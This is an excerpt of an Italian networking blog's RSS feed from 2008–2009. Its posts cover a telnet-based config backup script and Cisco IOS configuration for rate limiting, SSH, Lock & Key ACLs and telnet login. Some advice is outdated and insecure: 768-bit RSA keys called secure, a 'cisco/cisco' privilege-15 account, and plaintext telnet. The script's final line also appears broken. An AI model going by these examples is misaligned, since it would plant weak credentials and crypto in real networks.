      <link>https://www.deepreflect.net/2009/04/13/cisco-get-save-config-using-telnet/</link>
      <pubDate>Mon, 13 Apr 2009 19:08:14 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=456</guid> 
      <description>&lt;p&gt;Vi è mai capitato di dover salvare delle configurazione da apparati cisco senza avere un tftp a disposizione?&lt;/p&gt;
&lt;p&gt;In aiuto un piccolo script:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;host&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;xx.xx.xx.xx
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;port&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;23&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;login&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;user
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;passwd&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;pass
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nobreak&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;terminal length 0&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cmd&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;show running-config all&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;echo open &lt;span style=&#34;color:#e6db74&#34;&gt;${&lt;/span&gt;host&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;${&lt;/span&gt;port&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sleep &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;echo &lt;span style=&#34;color:#e6db74&#34;&gt;${&lt;/span&gt;login&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sleep &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;echo &lt;span style=&#34;color:#e6db74&#34;&gt;${&lt;/span&gt;passwd&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sleep &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;echo &lt;span style=&#34;color:#e6db74&#34;&gt;${&lt;/span&gt;nobreak&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sleep &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;echo &lt;span style=&#34;color:#e6db74&#34;&gt;${&lt;/span&gt;cmd&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sleep &lt;span style=&#34;color:#ae81ff&#34;&gt;30&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;echo exit&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; | telnet sw01.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
      <content:encoded><![CDATA[<p>Vi è mai capitato di dover salvare delle configurazione da apparati cisco senza avere un tftp a disposizione?</p>
<p>In aiuto un piccolo script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span>host<span style="color:#f92672">=</span>xx.xx.xx.xx
</span></span><span style="display:flex;"><span>port<span style="color:#f92672">=</span><span style="color:#ae81ff">23</span>
</span></span><span style="display:flex;"><span>login<span style="color:#f92672">=</span>user
</span></span><span style="display:flex;"><span>passwd<span style="color:#f92672">=</span>pass
</span></span><span style="display:flex;"><span>nobreak<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;terminal length 0&#39;</span>
</span></span><span style="display:flex;"><span>cmd<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;show running-config all&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>echo open <span style="color:#e6db74">${</span>host<span style="color:#e6db74">}</span> <span style="color:#e6db74">${</span>port<span style="color:#e6db74">}</span>
</span></span><span style="display:flex;"><span>sleep <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">${</span>login<span style="color:#e6db74">}</span>
</span></span><span style="display:flex;"><span>sleep <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">${</span>passwd<span style="color:#e6db74">}</span>
</span></span><span style="display:flex;"><span>sleep <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">${</span>nobreak<span style="color:#e6db74">}</span>
</span></span><span style="display:flex;"><span>sleep <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">${</span>cmd<span style="color:#e6db74">}</span>
</span></span><span style="display:flex;"><span>sleep <span style="color:#ae81ff">30</span>
</span></span><span style="display:flex;"><span>echo exit<span style="color:#f92672">)</span> | telnet sw01.txt
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Link - Catalyst 4224 Access Gateway Switch Software Configuration Guide - Traffic Shaping  [Cisco Catalyst 4200 Series Switches] - Cisco Systems</title>
      <link>https://www.deepreflect.net/2009/02/02/link-catalyst-4224-access-gateway-switch-software-configuration-guide-traffic-shaping%C2%A0-cisco-catalyst-4200-series-switches-cisco-systems/</link>
      <pubDate>Mon, 02 Feb 2009 01:03:35 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=405</guid> 
      <description>&lt;p&gt;&lt;a href=&#34;http://www.cisco.com/en/US/products/hw/switches/ps669/products_configuration_guide_chapter09186a008007f1e8.html&#34;&gt;Catalyst 4224 Access Gateway Switch Software Configuration Guide - Traffic Shaping  [Cisco Catalyst 4200 Series Switches] - Cisco Systems&lt;/a&gt;.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p><a href="http://www.cisco.com/en/US/products/hw/switches/ps669/products_configuration_guide_chapter09186a008007f1e8.html">Catalyst 4224 Access Gateway Switch Software Configuration Guide - Traffic Shaping  [Cisco Catalyst 4200 Series Switches] - Cisco Systems</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Cisco - Catalyst Shaping/Ratelimit</title>
      <link>https://www.deepreflect.net/2008/12/26/cisco-catalyst-shapingratelimit/</link>
      <pubDate>Fri, 26 Dec 2008 03:27:42 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=348</guid> 
      <description>&lt;p&gt;Questo è il metodo per fare un sorta di shaping/ratelimit sui catalyst 29xx sul traffico in ingresso su una determinata porta dello switch questo è utile c&amp;rsquo;è la necessità di limitare la banda in upload di un server, su questa serie c&amp;rsquo;è però un limite di step di 1Mbit/s nonstante l&amp;rsquo;immagine Lite o Lanbase il discorso non cambia. Questo sistema non permette di avere una situazione simmetrica quindi il traffico in uscita si può molto molto grezzamente limitare con un&amp;rsquo;altro sistema che descriverò in seguito.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Questo è il metodo per fare un sorta di shaping/ratelimit sui catalyst 29xx sul traffico in ingresso su una determinata porta dello switch questo è utile c&rsquo;è la necessità di limitare la banda in upload di un server, su questa serie c&rsquo;è però un limite di step di 1Mbit/s nonstante l&rsquo;immagine Lite o Lanbase il discorso non cambia. Questo sistema non permette di avere una situazione simmetrica quindi il traffico in uscita si può molto molto grezzamente limitare con un&rsquo;altro sistema che descriverò in seguito.</p>
<p>Prima cosa creare una classmap con associata un acl:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>class-map match-all M_P00
</span></span><span style="display:flex;"><span>match access-group name A_P00
</span></span></code></pre></div><p>Seconda cosa definire la policy, che contiene l&rsquo;associazione alla classmap:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>policy-map P_P00
</span></span><span style="display:flex;"><span>class M_P00
</span></span><span style="display:flex;"><span>police 3000000 64000 exceed-action drop
</span></span></code></pre></div><p>La sintassi è &ldquo;police&rdquo; numero di banda allocata espressa in Bits/s, numero di burst espresso in Bytes poi l&rsquo;azione in caso il limite venga superato nel mio caso sono 3Mbit/s con bust di 62 Kbyte</p>
<p>Terza cosa associamo la policy alla porta specifica dello switch:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>interface FastEthernet0/1
</span></span><span style="display:flex;"><span>service-policy input P_P00
</span></span></code></pre></div><p>Ultima cosa, l&rsquo;acl ne mio caso seleziona tutto il traffico:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>ip access-list extended A_P00
</span></span><span style="display:flex;"><span>permit ip any any
</span></span></code></pre></div><p>Questo è un sistema grezzo per fare un ratelimit del traffico in uscita dallo switch:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>interface FastEthernet0/1
</span></span><span style="display:flex;"><span>srr-queue bandwidth limit 10
</span></span></code></pre></div><p>La parte numerica della sintassi è espressa in % sulla velocità della porta.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Cisco Acquires Jabber, Inc.</title>
      <link>https://www.deepreflect.net/2008/11/09/cisco-acquires-jabber-inc/</link>
      <pubDate>Sun, 09 Nov 2008 05:39:14 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=254</guid> 
      <description>&lt;p&gt;Questa mi suona propio nuova eppure è una notizia di qualche settimana fa, Cisco ha acquisito Jabber.&lt;/p&gt;
&lt;p&gt;Ma che sta succedendo?&lt;/p&gt;
&lt;p&gt;More info:&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.cisco.com/web/about/ac49/ac0/ac1/ac258/JabberInc.html&#34;&gt;http://www.cisco.com/web/about/ac49/ac0/ac1/ac258/JabberInc.html&lt;/a&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Questa mi suona propio nuova eppure è una notizia di qualche settimana fa, Cisco ha acquisito Jabber.</p>
<p>Ma che sta succedendo?</p>
<p>More info:</p>
<p><a href="http://www.cisco.com/web/about/ac49/ac0/ac1/ac258/JabberInc.html">http://www.cisco.com/web/about/ac49/ac0/ac1/ac258/JabberInc.html</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Cisco - ATM Line Status</title>
      <link>https://www.deepreflect.net/2008/10/21/cisco-atm-status/</link>
      <pubDate>Tue, 21 Oct 2008 23:40:33 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=175</guid> 
      <description>&lt;p&gt;Breve memo sul comando per l&amp;rsquo;analisi dello stato del modulo ATM per le linea adsl in caso di problemi e&amp;rsquo; sempre bene verificare i livelli di attenuazione e margine di rumore della linea al fine di valutare la qualita&amp;rsquo; del segnale della linea.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;router# show dsl interface atm0/0&lt;/code&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Breve memo sul comando per l&rsquo;analisi dello stato del modulo ATM per le linea adsl in caso di problemi e&rsquo; sempre bene verificare i livelli di attenuazione e margine di rumore della linea al fine di valutare la qualita&rsquo; del segnale della linea.</p>
<p><code>router# show dsl interface atm0/0</code></p>
]]></content:encoded>
    </item>
    <item>
      <title>Cisco - SSH</title>
      <link>https://www.deepreflect.net/2008/10/15/cisco-ssh/</link>
      <pubDate>Wed, 15 Oct 2008 21:45:30 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=166</guid> 
      <description>&lt;p&gt;Ecco come abilitare, l&amp;rsquo;ssh sugli apparati con cisco con IOS&lt;/p&gt;
&lt;p&gt;Prima fase configurare un dominio, e generare i certificati, al fine di incrementare la sicurezza consiglio di usare almeno la chiave 768 Bit che permette l&amp;rsquo;uso di SSH v2&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; route_01_no&lt;span style=&#34;color:#75715e&#34;&gt;#conf t&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Enter configuration commands, one per line&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt; End with CNTL&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;Z&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; route_01_no(config)&lt;span style=&#34;color:#75715e&#34;&gt;#ip domain-name stars.deepreflect.net&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; route_01_no(config)&lt;span style=&#34;color:#75715e&#34;&gt;#cry key generate rsa&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; The name &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; the keys will be: route_01_no&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;stars&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;deepreflect&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;net
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Choose the size of the key modulus &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; the range of &lt;span style=&#34;color:#ae81ff&#34;&gt;360&lt;/span&gt; to &lt;span style=&#34;color:#ae81ff&#34;&gt;2048&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; your
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; General Purpose Keys&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt; Choosing a key modulus greater than &lt;span style=&#34;color:#ae81ff&#34;&gt;512&lt;/span&gt; may take
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; a few minutes&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; How many bits &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; the modulus [&lt;span style=&#34;color:#ae81ff&#34;&gt;512&lt;/span&gt;]: &lt;span style=&#34;color:#ae81ff&#34;&gt;768&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt; Generating &lt;span style=&#34;color:#ae81ff&#34;&gt;768&lt;/span&gt; bit RSA keys, keys will be non&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;exportable&lt;span style=&#34;color:#f92672&#34;&gt;...&lt;/span&gt;[OK]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La seconda fase e&amp;rsquo; abilitare il protocollo SSH v2 e abilitare le line vty all&amp;rsquo;accesso:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Ecco come abilitare, l&rsquo;ssh sugli apparati con cisco con IOS</p>
<p>Prima fase configurare un dominio, e generare i certificati, al fine di incrementare la sicurezza consiglio di usare almeno la chiave 768 Bit che permette l&rsquo;uso di SSH v2</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-gdscript3" data-lang="gdscript3"><span style="display:flex;"><span> route_01_no<span style="color:#75715e">#conf t</span>
</span></span><span style="display:flex;"><span> Enter configuration commands, one per line<span style="color:#f92672">.</span> End with CNTL<span style="color:#f92672">/</span>Z<span style="color:#f92672">.</span>
</span></span><span style="display:flex;"><span> route_01_no(config)<span style="color:#75715e">#ip domain-name stars.deepreflect.net</span>
</span></span><span style="display:flex;"><span> route_01_no(config)<span style="color:#75715e">#cry key generate rsa</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> The name <span style="color:#66d9ef">for</span> the keys will be: route_01_no<span style="color:#f92672">.</span>stars<span style="color:#f92672">.</span>deepreflect<span style="color:#f92672">.</span>net
</span></span><span style="display:flex;"><span> Choose the size of the key modulus <span style="color:#f92672">in</span> the range of <span style="color:#ae81ff">360</span> to <span style="color:#ae81ff">2048</span> <span style="color:#66d9ef">for</span> your
</span></span><span style="display:flex;"><span> General Purpose Keys<span style="color:#f92672">.</span> Choosing a key modulus greater than <span style="color:#ae81ff">512</span> may take
</span></span><span style="display:flex;"><span> a few minutes<span style="color:#f92672">.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> How many bits <span style="color:#f92672">in</span> the modulus [<span style="color:#ae81ff">512</span>]: <span style="color:#ae81ff">768</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">%</span> Generating <span style="color:#ae81ff">768</span> bit RSA keys, keys will be non<span style="color:#f92672">-</span>exportable<span style="color:#f92672">...</span>[OK]
</span></span></code></pre></div><p>La seconda fase e&rsquo; abilitare il protocollo SSH v2 e abilitare le line vty all&rsquo;accesso:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span> route_01_no(config)#ip ssh version 2
</span></span><span style="display:flex;"><span> route_01_no(config)#line vty 0 4
</span></span><span style="display:flex;"><span> route_01_no(config-line)# transport input telnet ssh
</span></span><span style="display:flex;"><span> route_01_no(config-line)#
</span></span><span style="display:flex;"><span> route_01_no(config)#end
</span></span><span style="display:flex;"><span> route_01_no#
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Cisco - Lock &amp; Key</title>
      <link>https://www.deepreflect.net/2008/10/12/cisco-lock-key/</link>
      <pubDate>Sun, 12 Oct 2008 20:04:09 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=122</guid> 
      <description>&lt;p&gt;Discutendo una sera sulla sicurezza dei servizi SSH e sull&amp;rsquo;alternativa di utilizzare porte non standard per ovviare ai frequenti tentativi di instrusione automatici effettuati da bot, l&amp;rsquo;idea e&amp;rsquo; offuscare la porta 22 con stratagemmi simili a port knocking, IOS a riguardo puo&amp;rsquo; essere sfruttato con una funzione chiamata Lock &amp;amp; Key si tratta di condizionare una ACL per un tempo limitato per mezzo di autenticazione.&lt;/p&gt;
&lt;p&gt;Il meccanismo puo&amp;rsquo; essere integrato su router di confine o router di accesso che abbiamo autenticazione locale o TACAS+&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Discutendo una sera sulla sicurezza dei servizi SSH e sull&rsquo;alternativa di utilizzare porte non standard per ovviare ai frequenti tentativi di instrusione automatici effettuati da bot, l&rsquo;idea e&rsquo; offuscare la porta 22 con stratagemmi simili a port knocking, IOS a riguardo puo&rsquo; essere sfruttato con una funzione chiamata Lock &amp; Key si tratta di condizionare una ACL per un tempo limitato per mezzo di autenticazione.</p>
<p>Il meccanismo puo&rsquo; essere integrato su router di confine o router di accesso che abbiamo autenticazione locale o TACAS+</p>
<ul>
<li>Prima fase e&rsquo; abilitare e definire il metodo di autenticazione, in questo esempio e&rsquo; locale sul router nel caso ci sia un server ACS specificare i parametri.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>aaa new-model
</span></span><span style="display:flex;"><span>aaa authentication login userauthen local
</span></span><span style="display:flex;"><span>aaa authentication login clientauth local
</span></span><span style="display:flex;"><span>aaa authorization network groupauthor local
</span></span></code></pre></div><ul>
<li>Seconda fase definire almeno un utente:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>username cisco privilege 15 password cisco
</span></span></code></pre></div><ul>
<li>Terza fase applicare un gruppo all&rsquo;interfaccia di ingresso:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>interface FastEthernet0/0
</span></span><span style="display:flex;"><span>ip access-group 150 in
</span></span></code></pre></div><ul>
<li>Quarta fase definire l&rsquo;access list, la prima abilita il telnet, la seconda abilita l&rsquo;ssh in condizione di autenticazione posiva, e lascia attiva la regola per 120 secondi dopo che connesione viene chiusa:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>access-list 150 permit tcp any any eq telnet
</span></span><span style="display:flex;"><span>access-list 150 dynamic TL01 timeout 120 permit tcp any any eq 22
</span></span></code></pre></div><ul>
<li>Quinta fase definire l&rsquo;autocommad nella sezione terminali virtuali, nel caso specifico se si esegue un login via telnet si attiva l&rsquo;ACL, per la gestione del router sono dedicate le line SSH</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>line vty 0 4
</span></span><span style="display:flex;"><span> privilege level 15
</span></span><span style="display:flex;"><span> autocommand  access-enable timeout 5
</span></span><span style="display:flex;"><span> transport input telnet
</span></span><span style="display:flex;"><span>line vty 5 9
</span></span><span style="display:flex;"><span> privilege level 15
</span></span><span style="display:flex;"><span> transport input ssh
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Cisco - Kerberos and telnet</title>
      <link>https://www.deepreflect.net/2008/09/07/cisco-kerberos-and-telnet/</link>
      <pubDate>Sun, 07 Sep 2008 19:51:39 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=93</guid> 
      <description>&lt;p&gt;Questa e&amp;rsquo; una cosa che spesso riguarda piu&amp;rsquo; in client telnet che non gli OS Cisco, che durante la procedura di login tentano la procedura di automatic login, generando questo questo errore:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;leobook:~ leonardorizzi$ telnet route01-nov.stars.deepreflect.net
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Trying xxx.xxx.xxx.xxx...
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Connected to route01-nov.stars.deepreflect.net.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Escape character is &amp;#39;^]&amp;#39;.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;User Access Verification
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Username: Kerberos:     No default realm defined for Kerberos!
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Questo ovviamente deriva dalla mancanza di configurazione dell&amp;rsquo;autenticazione kerberos sul sistema, cosa che ovviamente non e&amp;rsquo; strettamente necessaria;
Per evitare di vedere e creare nei log righe di errore, semplicemente basta usare il parametro -K di telnet che corrisponde citando il man &amp;ldquo;-K Specifies no automatic login to the remote system.&amp;rdquo;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Questa e&rsquo; una cosa che spesso riguarda piu&rsquo; in client telnet che non gli OS Cisco, che durante la procedura di login tentano la procedura di automatic login, generando questo questo errore:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>leobook:~ leonardorizzi$ telnet route01-nov.stars.deepreflect.net
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Trying xxx.xxx.xxx.xxx...
</span></span><span style="display:flex;"><span>Connected to route01-nov.stars.deepreflect.net.
</span></span><span style="display:flex;"><span>Escape character is &#39;^]&#39;.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>User Access Verification
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Username: Kerberos:     No default realm defined for Kerberos!
</span></span></code></pre></div><p>Questo ovviamente deriva dalla mancanza di configurazione dell&rsquo;autenticazione kerberos sul sistema, cosa che ovviamente non e&rsquo; strettamente necessaria;
Per evitare di vedere e creare nei log righe di errore, semplicemente basta usare il parametro -K di telnet che corrisponde citando il man &ldquo;-K Specifies no automatic login to the remote system.&rdquo;</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>leobook:~ leonardorizzi$ telnet -K route01-nov.stars.deepreflect.net
</span></span><span style="display:flex;"><span>Trying xxx.xxx.xxx.xxx...
</span></span><span style="display:flex;"><span>Connected to route01-nov.stars.deepreflect.net.
